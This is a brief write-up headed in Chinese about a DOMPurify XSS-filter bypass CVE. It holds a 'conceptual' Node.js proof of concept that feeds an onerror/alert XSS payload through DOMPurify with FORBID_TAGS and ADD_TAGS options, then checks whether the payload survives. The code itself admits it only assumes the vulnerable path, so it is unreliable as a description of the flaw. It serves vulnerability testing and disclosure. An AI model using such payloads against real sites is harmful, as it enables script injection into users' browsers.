CVE-2026-41240 DOMPurify XSS过滤绕过漏洞

// Conceptual Proof of Concept for CVE-2026-41240 // Requires DOMPurify < 3.4.0 const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); // Malicious payload attempting to inject a script or handler // Assuming 'style' or a specific tag is handled via the vulnerable path let dirty = '<style><img src=x onerror=alert(1)></style>'; // Configuration triggering the vulnerable path // Using ADD_TAGS in a way that triggers tagCheck logic let clean = DOMPurify.sanitize(dirty, { FORBID_TAGS: ['style', 'script'], // Tags that should be removed ADD_TAGS: ['custom-tag'], // The vulnerability arises when internal logic (tagCheck) interacts with these config options }); // Output the result console.log('Cleaned HTML:', clean); // If vulnerable, the malicious tag structure might survive or cause execution if (clean.includes('onerror') || clean.includes('alert')) { console.log('[!] Vulnerability Exploited: XSS payload survived.'); } else { console.log('[+] Sanitization successful.'); }